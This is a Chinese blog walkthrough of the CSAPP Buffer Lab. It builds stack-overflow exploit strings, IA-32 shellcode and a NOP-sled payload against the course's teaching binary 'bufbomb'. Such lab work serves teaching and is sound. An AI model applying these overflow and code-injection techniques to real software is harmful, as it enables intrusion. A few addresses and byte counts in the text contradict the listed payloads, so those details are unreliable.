《深入理解計算機系統》實驗三 —— Buf Lab

嵌入式與Linux那些事發表於2020-12-12

這是CSAPP的第三個實驗,主要讓我們熟悉GDB的使用,理解程式棧幀的結構和緩衝區溢位的原理。

實驗目的

  本實驗的目的在於加深對IA-32函式呼叫規則和棧結構的具體理解。實驗的主要內容是對一個可執行程式“bufbomb”實施一系列緩衝區溢位攻擊(buffer overflow attacks),也就是設法通過造成緩衝區溢位來改變該可執行程式的執行記憶體映像,繼而執行一些原來程式中沒有的行為,例如將給定的位元組序列插入到其本不應出現的記憶體位置等。本次實驗需要你熟練運用gdbobjdumpgcc等工具完成。

  實驗中你需要對目標可執行程式BUFBOMB分別完成5個難度遞增的緩衝區溢位攻擊。5個難度級分別命名為Smoke(level 0)、Fizz(level 1)、Bang(level 2)、Boom(level 3)和Nitro(level 4),其中Smoke級最簡單而Nitro級最困難。

準備工作

  編譯環境:Ubuntu 16.04,gcc 5.4.0。

  在官網下載得到實驗所需檔案解壓後會得到三個不同的檔案。對三個檔案簡要說明如下所示。

  README.txt:描述資料夾目錄

  bufbomb:將要攻擊的緩衝區炸彈程式。

  makecookie:根據您的使用者名稱生成一個“ cookie”。

  hex2raw:用於在字串格式之間進行轉換的程式。

  Cookie是由八位十六進位制數字組成的字串,該字串具有很高的使用者ID唯一性。您可以使用makecookie程式生成您的cookie,並以您的userid作為引數。如下圖所示:

image-20201119213038330

如果報錯:-bash: ./makecookie: Permission denied,執行以下命令賦予許可權

chmod 777 bufbom

chmod 777 makecookie

BUFBOMB 程式

  BUFBOMB程式從標準輸入讀取字串。getbuf函式如下所示:

/* Buffer size for getbuf */
 #define NORMAL_BUFFER_SIZE 32
 int getbuf()
 {
 	char buf[NORMAL_BUFFER_SIZE];
 	Gets(buf);
	return 1;
 }

  函式Gets類似於標準庫函式gets-它從標準輸入中讀取字串(以“ \ n”或檔案結尾結尾)並將其(連同空終止符一起)儲存在指定的目標位置。在此程式碼中,定義了一個32個位元組空間的buf來儲存字元。

  Gets()從輸入流中獲取一個字串,並將其儲存到其目標地址(buf)。但是,Gets()無法確定buf是否足夠大以儲存整個輸入。它只是複製整個輸入字串,可能會超出分配給buf的記憶體。

  如果使用者鍵入的字串不超過31個字元,很明顯getbuf將返回1,如以下執行示例所示:

image-20201119214104748

  當輸入一個很長的字串時

image-20201119214228399

  如上圖所示,緩衝區溢位通常會導致程式狀態被破壞,導致記憶體訪問錯誤。我們的任務是更聰明地輸入BUFBOMB的字串,讓它做更多有趣的事情。

BUFBOMB所用的幾個不同的命令列引數:

-u userid:操作指示的userid的炸彈。在以下幾種情況中,必須加上此引數:1.需要將成功的攻擊提交給分級伺服器。2.BUFBOMB和程式MAKECOOKIE一樣,根據userid確定要使用的Cookie。3.我們在BUFBOMB中內建了一些功能,一些關鍵的堆疊地址需要依賴於userid的cookie。

-h:列印可能的命令列引數列表。

-n:如以下Level 4所使用的那樣,以“Nitro”模式進行操作。

-s:將您的解決方案利用字串提交到分級伺服器

  注意以下幾個問題:

  1.HEX2RAW程式可以幫助我們生成原始的字串。HEX2RAW程式的輸入是十六進位制格式的字元。例如,字串“0 1 2 3 4 5”應該寫成"30 31 32 33 34 35",(注意字元之間的空格)。

  2.HEX2RAW程式支援 /**/ 型別的註釋。例如

bf 66 7b 32 78 /* mov $0x78327b66,%edi */

  3.假如攻擊字串儲存在exploit.txt中,我們可以一次使用以下命令來完成資料的讀入和執行。

cat exploit.txt | ./hex2raw | ./bufbomb -u bovik

  4.可以使用以下命令來完成輸入輸出的重定向並提供給BUFBOMB使用。

./hex2raw < exploit.txt > exploit-raw.txt
./bufbomb -u bovik < exploit-raw.txt

  5.除錯bufbomb可以使用如下命令

gdb bufbomb
(gdb) run -u bovik < exploit-raw.txt

  6.攻擊字串在任何中間位置都不得包含位元組值0x0A,因為這是換行符('\ n')的ASCII碼。當Gets遇到此位元組時,它將終止字串。

棧幀結構

image-20201126210739090

首先簡單理解下函式呼叫過程中的棧幀結構。如上圖所示,為函式P呼叫函式Q時,程式的棧幀結構。

  • 當前正在執行的過程的幀總是在棧頂。

  • 當P函式呼叫Q時,會把返回地址(即P的下一條程式碼的地址)壓入棧中,當Q返回時,繼續從P中呼叫Q的位置的下一條指令繼續執行。一般來說,我們把這個返回地址當做P的棧幀的一部分,因為它存放的是與P相關的狀態。

  • Q函式執行時,可以儲存暫存器的值,可以為區域性變數分配空間,當結束呼叫時,Q申請的所有空間都將被釋放。

  • 當P傳遞給Q的引數少於6個時,使用暫存器儲存就可以了。當引數傳遞大於6個時,多出的部分將用棧來傳遞。

    關於堆疊的更詳細的知識可以參考這篇文章面試官不講武德,居然讓我講講蠕蟲和金絲雀!

Level 0: Candle

  test在BUFBOMB中呼叫了getbuf函式的C程式碼下:

void test()
{
	int val;
	/* Put canary on stack to detect possible corruption */
	volatile int local = uniqueval();
	val = getbuf();
	/* Check for corrupted stack */
	 if (local != uniqueval()) {
 		printf("Sabotaged!: the stack has been corrupted\n");
 	}
 	else if (val == cookie) {
 		printf("Boom!: getbuf returned 0x%x\n", val);
 		validate(3);
 	} else {  
	    printf("Dud: getbuf returned 0x%x\n", val);
	 }
}

  當test呼叫完getbuf函式(第6行)後會正常向下執行,如果我們想要讓其跳轉到smoke函式,那麼我們就要利用緩衝區溢位的漏洞來修改getbuf函式的返回地址。

void smoke()
{
	printf("Smoke!: You called smoke()\n");
	validate(0);
	exit(0);
}

  首先將bufbomb使用指令objdump -d bufbomb >bufbomb .d 進行反彙編

080491f4 <getbuf>:
 80491f4:	55                   	push   %ebp                             # 被呼叫者儲存
 80491f5:	89 e5                	mov    %esp,%ebp                         
 80491f7:	83 ec 38             	sub    $0x38,%esp                        
 80491fa:	8d 45 d8             	lea    -0x28(%ebp),%eax                 # 緩衝區40個位元組
 80491fd:	89 04 24             	mov    %eax,(%esp)
 8049200:	e8 f5 fa ff ff       	call   8048cfa <Gets>
 8049205:	b8 01 00 00 00       	mov    $0x1,%eax
 804920a:	c9                   	leave  
 804920b:	c3                   	ret  
08048c18 <smoke>:
 8048c18:	55                   	push   %ebp
 8048c19:	89 e5                	mov    %esp,%ebp
 8048c1b:	83 ec 18             	sub    $0x18,%esp
 8048c1e:	c7 04 24 d3 a4 04 08 	movl   $0x804a4d3,(%esp)
 8048c25:	e8 96 fc ff ff       	call   80488c0 <puts@plt>
 8048c2a:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048c31:	e8 45 07 00 00       	call   804937b <validate>
 8048c36:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048c3d:	e8 be fc ff ff       	call   8048900 <exit@plt>

  由反彙編結果可知,給輸入的字串分配的空間是從%ebp-0x28開始的,換為10進位制就是40個位元組,而返回地址是在%ebp+0x4處,push %ebp本身又佔了四個位元組,所以結構為:0x28+4+4=48個位元組。並且其最後4個位元組應是smoke函式的地址,正好覆蓋ebp上方的正常返回地址。這樣再從getbuf返回時,取出的根據攻擊字串設定的地址,就可實現控制轉移。(結合棧幀的圖理解)

  由反彙編可得smoke函式的入口地址為0x08048c18。因此,我們需要做的就是把上面的44個位元組隨意填滿(不要填換行),然後把原來的返回地址改為smoke函式的入口地址。0x0a是換行\n的ASCII值,所以不可以輸入,那麼我們就輸入0x08048c18來代替。

  新建一個名為Level0.txt的檔案,攻擊程式碼如下所示

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00  /*填充44個位元組*/
00 00 00 00 18 8c 04 08  /*溢位剛好修改返回地址*/             

  執行以下命令測試

./hex2raw < Level0.txt > Level0-raw.txt
./bufbomb -u bovik < Level0-raw.txt

  結果如下所示,成功。

image-20201121094519504

Level 1: Sparkler

  Level1 和Level0差不多,唯一的區別是 fizz(int) 函式有一個整型的引數,並且在 fizz函式中還要校驗cookie, test函式呼叫getbuf函式,呼叫完getbuf以後不返回getbuf的呼叫者test而是去執行fizz函式。

void fizz(int val)
{
	if (val == cookie) {
		printf("Fizz!: You called fizz(0x%x)\n", val);
		validate(1);
	}else
		printf("Misfire: You called fizz(0x%x)\n", val);
	exit(0);
}
08048c42 <fizz>:
 8048c42:	55                   	push   %ebp
 8048c43:	89 e5                	mov    %esp,%ebp
 8048c45:	83 ec 18             	sub    $0x18,%esp
 8048c48:	8b 45 08             	mov    0x8(%ebp),%eax
 8048c4b:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax
 8048c51:	75 26                	jne    8048c79 <fizz+0x37>
 8048c53:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048c57:	c7 44 24 04 ee a4 04 	movl   $0x804a4ee,0x4(%esp)
 8048c5e:	08 
 8048c5f:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048c66:	e8 55 fd ff ff       	call   80489c0 <__printf_chk@plt>
 8048c6b:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048c72:	e8 04 07 00 00       	call   804937b <validate>
 8048c77:	eb 18                	jmp    8048c91 <fizz+0x4f>
 8048c79:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048c7d:	c7 44 24 04 40 a3 04 	movl   $0x804a340,0x4(%esp)
 8048c84:	08 
 8048c85:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048c8c:	e8 2f fd ff ff       	call   80489c0 <__printf_chk@plt>
 8048c91:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048c98:	e8 63 fc ff ff       	call   8048900 <exit@plt>

  由fizz的反彙編可知:fizz函式的入口地址為0x08048c42。由棧幀圖示可知,ebp存放了呼叫者的舊ebp(saved %ebp),其上一位置ebp+4存放了呼叫者的返回地址,所以引數的地址應該為ebp+8的位置,我們只需要將自己的cookie放置在該位置即可。

  攻擊程式碼如下

00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
42 8c 04 08 /*fizz函式的入口地址*/   
00 00 00 00 
b7 b2 05 10 /*ebp+8存放引數地址*/

  最後執行命令測試成功

image-20201121104401048

Level 2: Firecracker

08048c9d <bang>:
 8048c9d:	55                   	push   %ebp
 8048c9e:	89 e5                	mov    %esp,%ebp
 8048ca0:	83 ec 18             	sub    $0x18,%esp
 8048ca3:	a1 00 d1 04 08       	mov    0x804d100,%eax
 8048ca8:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax
 8048cae:	75 26                	jne    8048cd6 <bang+0x39>
 8048cb0:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048cb4:	c7 44 24 04 60 a3 04 	movl   $0x804a360,0x4(%esp)
 8048cbb:	08 
 8048cbc:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048cc3:	e8 f8 fc ff ff       	call   80489c0 <__printf_chk@plt>
 8048cc8:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8048ccf:	e8 a7 06 00 00       	call   804937b <validate>
 8048cd4:	eb 18                	jmp    8048cee <bang+0x51>
 8048cd6:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048cda:	c7 44 24 04 0c a5 04 	movl   $0x804a50c,0x4(%esp)
 8048ce1:	08 
 8048ce2:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048ce9:	e8 d2 fc ff ff       	call   80489c0 <__printf_chk@plt>
 8048cee:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048cf5:	e8 06 fc ff ff       	call   8048900 <exit@plt>

  緩衝區攻擊的一種更為複雜的形式是提供一個對實際機器指令進行編碼的字串,然後利用字串利用這些指令在堆疊中的起始地址覆蓋返回指標。當呼叫函式(在本例中為getbuf)執行其ret指令時,程式將開始在堆疊上執行指令,而不是返回。通過這種攻擊方式,您可以獲得該程式幾乎可以執行任何操作。您放在堆疊上的程式碼稱為漏洞利用程式碼。這種攻擊非常棘手,因為您必須將機器程式碼放入堆疊並將返回指標設定為該程式碼的開頭。

  在檔案bufbomb中,有一個具有以下C程式碼的函式bang函式:

int global_value = 0;
void bang(int val)
{
	if (global_value == cookie) {
		printf("Bang!: You set global_value to 0x%x\n", global_value);
		validate(2);
	} else
		printf("Misfire: global_value = 0x%x\n", global_value);
	exit(0);
}

  和之前的兩個實驗相似,我們的任務是執行完getbuf()後,不返回到test,而是執行bang程式碼,但是這個實驗中我們還要修改global_value的值為cookie。先看下反彙編。

08048c9d <bang>:
 8048c9d:	55                   	push   %ebp
 8048c9e:	89 e5                	mov    %esp,%ebp
 8048ca0:	83 ec 18             	sub    $0x18,%esp
 8048ca3:	a1 00 d1 04 08       	mov    0x804d100,%eax                 #global_value
 8048ca8:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax
 8048cae:	75 26                	jne    8048cd6 <bang+0x39>
 8048cb0:	89 44 24 08          	mov    %eax,0x8(%esp),
 8048cb4:	c7 44 24 04 60 a3 04 	movl   $0x804a360,0x4(%esp)
 8048cbb:	08 
 8048cbc:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048cc3:	e8 f8 fc ff ff       	call   80489c0 <__printf_chk@plt>
 8048cc8:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8048ccf:	e8 a7 06 00 00       	call   804937b <validate>
 8048cd4:	eb 18                	jmp    8048cee <bang+0x51>
 8048cd6:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048cda:	c7 44 24 04 0c a5 04 	movl   $0x804a50c,0x4(%esp)
 8048ce1:	08 
 8048ce2:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048ce9:	e8 d2 fc ff ff       	call   80489c0 <__printf_chk@plt>
 8048cee:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048cf5:	e8 06 fc ff ff       	call   8048900 <exit@plt>

  bang函式入口地址0x8048c9d。由第5行可知,global_value存放的位置是0x804d100。

  由此寫下彙編程式碼:首先把我們的cookie寫到全域性變數的地址中,然後在把bang的入口地址入棧,通過ret指令來執行bang函式

movl $0x1005b2b7,0x804d100  #修改變數值
push $0x8048c9d             #bang函式地址壓棧
ret                         #利用ret語句完成對bang的呼叫

  機器編碼如下

00000000 <.text>:
   0:   c7 05 00 d1 04 08 b7    movl   $0x1005b2b7,0x804d100
   7:   b2 05 10
   a:   68 9d 8c 04 08          push   $0x8048c9d
   f:   c3                      ret

  得到機器碼之後如何使用呢?這個機器碼的作用是執行到它時,修改全域性變數的值並進入bang函式,然而要怎麼執行到這一步呢?考慮執行getbuf函式的時候,將其返回地址改為這個函式的地址,使得getbuf執行完畢後,繼續執行這個函式,執行完這個函式就自動執行bang函式了。

  我們寫的這個函式的地址在哪裡呢?

  使用GDB除錯,在getbuf函式設定斷點,查詢buf的首地址。在call gets函式前,eax暫存器的值就是buf的首地址,即我們寫的函式的地址。

080491f4 <getbuf>:
 80491f4:	55                   	push   %ebp
 80491f5:	89 e5                	mov    %esp,%ebp
 80491f7:	83 ec 38             	sub    $0x38,%esp
 80491fa:	8d 45 d8             	lea    -0x28(%ebp),%eax
 80491fd:	89 04 24             	mov    %eax,(%esp)
 8049200:	e8 f5 fa ff ff       	call   8048cfa <Gets>
 8049205:	b8 01 00 00 00       	mov    $0x1,%eax
 804920a:	c9                   	leave  
 804920b:	c3   

  位於0x80491fa 地址處程式碼為預讀的string在stack建立了0x28(也就是40)個Byte 的空間。具體位置可以通過gdb在下一行設定breakpoint 查詢 %eax 的值得到,如下所示:

image-20201126173058293

  我們還需要找到input string存放的位置作為第一次ret 指令的目標位置, 經過gdb除錯分析getbuf()申請的40位元組緩衝區首地址為0x55683588(後面還會用到)。

  所以攻擊程式碼為

c7 05 00 d1 04 08 b7 b2 
05 10 68 9d 8c 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 88 35 68 55          /*程式碼存放位置*/

  編譯測試結果如下所示

image-20201126172215513

Level 3: Dynamite

  在這個題目中,要求getbuf() 結束後正常返回執行(getbuf() 的下一行),並且將cookie作為getbuf的返回值傳給test()。同時還要saved ebp被複原,保證佔空間被還原,使test()察覺不到我們修改了程式。

08048daa <test>:
 8048daa:	55                   	push   %ebp
 8048dab:	89 e5                	mov    %esp,%ebp
 8048dad:	53                   	push   %ebx
 8048dae:	83 ec 24             	sub    $0x24,%esp
 8048db1:	e8 da ff ff ff       	call   8048d90 <uniqueval>
 8048db6:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048db9:	e8 36 04 00 00       	call   80491f4 <getbuf>                #
 8048dbe:	89 c3                	mov    %eax,%ebx
 8048dc0:	e8 cb ff ff ff       	call   8048d90 <uniqueval>
 8048dc5:	8b 55 f4             	mov    -0xc(%ebp),%edx
 8048dc8:	39 d0                	cmp    %edx,%eax
 8048dca:	74 0e                	je     8048dda <test+0x30>
 8048dcc:	c7 04 24 88 a3 04 08 	movl   $0x804a388,(%esp)
 8048dd3:	e8 e8 fa ff ff       	call   80488c0 <puts@plt>
 8048dd8:	eb 46                	jmp    8048e20 <test+0x76>
 8048dda:	3b 1d 08 d1 04 08    	cmp    0x804d108,%ebx
 8048de0:	75 26                	jne    8048e08 <test+0x5e>
 8048de2:	89 5c 24 08          	mov    %ebx,0x8(%esp)
 8048de6:	c7 44 24 04 2a a5 04 	movl   $0x804a52a,0x4(%esp)
 8048ded:	08 
 8048dee:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048df5:	e8 c6 fb ff ff       	call   80489c0 <__printf_chk@plt>
 8048dfa:	c7 04 24 03 00 00 00 	movl   $0x3,(%esp)
 8048e01:	e8 75 05 00 00       	call   804937b <validate>
 8048e06:	eb 18                	jmp    8048e20 <test+0x76>
 8048e08:	89 5c 24 08          	mov    %ebx,0x8(%esp)
 8048e0c:	c7 44 24 04 47 a5 04 	movl   $0x804a547,0x4(%esp)
 8048e13:	08 
 8048e14:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048e1b:	e8 a0 fb ff ff       	call   80489c0 <__printf_chk@plt>
 8048e20:	83 c4 24             	add    $0x24,%esp
 8048e23:	5b                   	pop    %ebx
 8048e24:	5d                   	pop    %ebp
 8048e25:	c3                   	ret

  getbuf()函式在被呼叫時,程式的返回值被儲存在%eax暫存器中,當getbuf()執行完,就會去%eax取值返回執行。因此,要想返回cookie,我們只要修改eax的值就可以。

  題目還要求恢復原來的%ebp,因此我們可以通過打斷點的方式先記下呼叫getbuf()之前的epb值(0x556835e0)。

  而對於返回地址,這個很簡單,就相當於上一題我們是跳轉到bang函式,在這一題裡,把執行完getbuf的下一句的地址壓棧再ret,就完成了要求。

  在程式第8行0x8048db9處打斷點,獲取原來ebp的值為 0x556835e0。

image-20201121152526581

  彙編程式碼如下所示

movl $0x1005b2b7,%eax
push $0x8048db9         # 壓棧
ret

  這裡通過movl指令將cookie值傳給%eax以返回給test(),然後使得程式跳轉到test()中call getbuf下一條指令正常返回,但是並不在這裡處理ebp暫存器問題,而是通過在攻擊字串裡面設定ebp暫存器使得其還原為舊ebp。

00000000 <.text>:
   0:   b8 b7 b2 05 10          mov    $0x1005b2b7,%eax
   5:   68 b9 8d 04 08          push   $0x8048db9
   a:   c3                      ret

  攻擊程式碼如下所示

b8 b7 b2 05
10 68 be 8d 
04 08 c3 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
e0 35 68 55    /*原來ebp的值*/
88 35 68 55    

  編譯執行結果如下

image-20201126200255450

這道題目有兩種寫法,只要在其中一個地方修復ebp即可

第一種是在這個程式碼裡不對ebp作操作,而在我們最後填入getbuf的字串中修改ebp

第二種是在這個程式碼裡把ebp為原ebp,在我們最後填入getbuf的字串中隨意填ebp

我們上面用的是第一種,下面介紹下第二種。

movl $0x1005b2b7,%eax
movl $0x556835e0,%ebp     #直接修改ebp的值
push $8048dbe             #壓棧,正常返回
ret

這裡通過movl指令將cookie值傳給%eax以返回給test(),然後繼續通過movl指令還原ebp暫存器,最後通過push正確返回地址使得程式跳轉到test()中call getbuf下一條指令正常返回。區別於方法一的是這裡通過自定義攻擊程式碼還原ebp,而不是通過攻擊字串中的緩衝區溢位進行覆蓋的,兩種方法都可以。

Level 4: Nitroglycerin

  請注意:在這個實驗中需要使用“ -n”命令列標誌才能執行此階段。

  對於不同程式或者是不同使用者執行同一程式,每次堆疊位置會有所不同。這種變化的原因之一是,所有環境變數的值都放在程式開始執行時的棧底。環境變數儲存為字串,根據值的不同,需要不同的大量的儲存空間。在GDB除錯中,堆疊位置也會有差異,因為GDB將堆疊空間用於其自身的某些狀態。

  在呼叫getbuf的程式碼中,使用了某些手段(穩定因素),從而使兩次執行之間,getbuf的堆疊框架將保持一致。這使得我們可以編寫攻擊程式碼。利用漏洞使得程式知道buf起始地址。如果嘗試在其他普通程式上使用此類漏洞利用程式,會發現它有時會起作用,但有時會導致段錯誤。因此得名“nitroglycerin””----由阿爾弗雷德·諾貝爾開發的nitroglycerin”,其中包含穩定劑以減少Nitroglycerin容易發生意外爆炸。

  在這個實驗中,堆疊位置比其他程式的堆疊穩定程度更低。當使用命令列標誌“ -n”執行BUFBOMB時,它將在“ Nitro”模式下執行。程式不會呼叫函式getbuf,程式會呼叫函式getbufn:

/* Buffer size for getbufn */
#define KABOOM_BUFFER_SIZE 512

  該函式類似於getbuf,不同之處在於它具有512個字元的緩衝區。我們將需要這個額外空間來創造攻擊程式。呼叫getbufn的程式碼分配一個隨機量堆疊上的儲存空間,例如,如果在getbufn連續兩次執行時取樣%ebp的值,您會發現k它們相差±240。

  此外,在Nitro模式下執行時,BUFBOMB要求您提供5次字串,並且它將執行getbufn 5次,每次都有不同的堆疊偏移量。我們要用攻擊字串每次都返回cookie。

  我們需要提供一個攻擊程式,讓getbufn返回到cookie到test中,而不是1。可以在test程式碼中看到這將導致程式執行“ KABOOM!”。我們的攻擊程式碼程式碼應設定cookie作為返回值,恢復任何損壞的狀態,將正確的返回位置壓入堆疊,並執行ret指令以真正返回到testn。

  在CSAPP P199中有nop sled一詞,這次實驗就用到了這個。書中的解釋如下:

  一種常見的把戲就是在實際的攻擊程式碼前插入很長一段的nop(讀作“noop”,no operatioin的縮寫)指令。執行這種指令除了對程式計數器加一,使之指向下一條指令之外,沒有任何的效果。只要攻擊者能夠猜中這段序列中的某個地址,程式就會經過這個序列,到達攻擊程式碼。這個序列常用的術語是“空操作雪橇( nop sled)。

  因為在這個實驗中,棧的地址是變化的。我們不知道有效機器程式碼的入口地址了,因此我們需要在有效機器程式碼前填充大量的nop指令,只要程式可以跳轉到這些nop指令中,那麼最終就可以滑到有效的機器程式碼。

  執行getbufn函式時,會隨機在棧上分配一塊儲存地址,因此,getbufn的基址ebp時隨機變化的。但是又要求我們寫的跳轉地址是固定的,所以我們應該在有效程式碼之前大量填充nop指令,讓這段地址內的程式碼都會滑到這段nop之後的程式碼上。

  由於棧上的機器程式碼是按地址由低向高順序執行,要保證五次執行都能順利執行有效機器程式碼,需要滿足:跳轉地址位於有效機器程式碼入口地址之前的nop機器指令填充區。這要求儘可能增大nop填充區,儘可能使有效機器程式碼段往後挪。

0804920c <getbufn>:
 804920c:	55                   	push   %ebp
 804920d:	89 e5                	mov    %esp,%ebp
 804920f:	81 ec 18 02 00 00    	sub    $0x218,%esp
 8049215:	8d 85 f8 fd ff ff    	lea    -0x208(%ebp),%eax
 804921b:	89 04 24             	mov    %eax,(%esp)
 804921e:	e8 d7 fa ff ff       	call   8048cfa <Gets>
 8049223:	b8 01 00 00 00       	mov    $0x1,%eax
 8049228:	c9                   	leave  
 8049229:	c3                   	ret    
 804922a:	90                   	nop
 804922b:	90                   	nop

  從反彙編可以看出,buf的首地址為ebp-0x208,所以buf總共的大小為520位元組。考慮這個函式中,testn的ebp隨每次輸入都隨機變化,但是棧頂esp的位置卻不變,所以我們可以通過esp和ebp的關係來找出這個關係,從而進行攻擊

  首先在sub $0x218,esp這一句設定斷點,並使用-n模式執行程式,並檢視ebp的值。

image-20201127205819119

  我們要做的是找出最大的ebp值0x556835e0,再減去0x208,即為最高的buf的始地址為:0x556833D8。

  如果將有效機器程式碼置於跳轉地址之前,並將其它所有字元都用作nop指令,此時所有五個buf地址的寫入都能滿足跳轉到地址0x556833D8後順利到達有效機器代

碼。

08048e26 <testn>:
 8048e26:	55                   	push   %ebp
 8048e27:	89 e5                	mov    %esp,%ebp
 8048e29:	53                   	push   %ebx
 8048e2a:	83 ec 24             	sub    $0x24,%esp
 8048e2d:	e8 5e ff ff ff       	call   8048d90 <uniqueval>
 8048e32:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048e35:	e8 d2 03 00 00       	call   804920c <getbufn>
 8048e3a:	89 c3                	mov    %eax,%ebx               #ebp
 8048e3c:	e8 4f ff ff ff       	call   8048d90 <uniqueval>
 8048e41:	8b 55 f4             	mov    -0xc(%ebp),%edx
 8048e44:	39 d0                	cmp    %edx,%eax
 8048e46:	74 0e                	je     8048e56 <testn+0x30>
 8048e48:	c7 04 24 88 a3 04 08 	movl   $0x804a388,(%esp)
 8048e4f:	e8 6c fa ff ff       	call   80488c0 <puts@plt>
 8048e54:	eb 46                	jmp    8048e9c <testn+0x76>
 8048e56:	3b 1d 08 d1 04 08    	cmp    0x804d108,%ebx
 8048e5c:	75 26                	jne    8048e84 <testn+0x5e>
 8048e5e:	89 5c 24 08          	mov    %ebx,0x8(%esp)
 8048e62:	c7 44 24 04 b4 a3 04 	movl   $0x804a3b4,0x4(%esp)
 8048e69:	08 
 8048e6a:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048e71:	e8 4a fb ff ff       	call   80489c0 <__printf_chk@plt>
 8048e76:	c7 04 24 04 00 00 00 	movl   $0x4,(%esp)
 8048e7d:	e8 f9 04 00 00       	call   804937b <validate>
 8048e82:	eb 18                	jmp    8048e9c <testn+0x76>
 8048e84:	89 5c 24 08          	mov    %ebx,0x8(%esp)
 8048e88:	c7 44 24 04 62 a5 04 	movl   $0x804a562,0x4(%esp)
 8048e8f:	08 
 8048e90:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048e97:	e8 24 fb ff ff       	call   80489c0 <__printf_chk@plt>
 8048e9c:	83 c4 24             	add    $0x24,%esp
 8048e9f:	5b                   	pop    %ebx
 8048ea0:	5d                   	pop    %ebp
 8048ea1:	c3                   	ret    

  可以看出,在testn中,esp+0x24+0x4是ebp的真值,而由於esp是不變的,所以可以通過esp+0x28來修改正確的ebp值,同時,可以看出得到getbufn的返回地址

為0x8048e3a。

  彙編程式碼如下:

movl $0x1005b2b7,%eax
lea 0x28(%esp),%ebp
push $0x8048e3a
ret

  機器碼如下

00000000 <.text>:
   0:   b8 b7 b2 05 10          mov    $0x1005b2b7,%eax
   5:   8d 6c 24 28             lea    0x28(%esp),%ebp
   9:   68 3a 8e 04 08          push   $0x8048e3a
   e:   c3                      ret

  接下來準備構造攻擊字串,構造的方法:

  考慮buf部分共有520+4(舊ebp)+4(返回地址)共528個位元組,我們這個程式碼裡要做的就是在這些範圍內填入三部分:nop操作、攻擊程式碼、和跳轉地址。先考慮後面的部分,在原函式的返回地址處我們肯定要用buf的最大始地址代替,是最後4位元組,然後緊跟著它之前的是我們的攻擊程式碼,共15位元組,剩下的528-4-15=509位元組全用nop填滿。

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 

b8 b7 b2 05 10 8d 6c 24 28 68 
3a 8e 04 08 c3 D8 33 68 55

  測試結果如下所示,順利通過

image-20201127212256963

總結

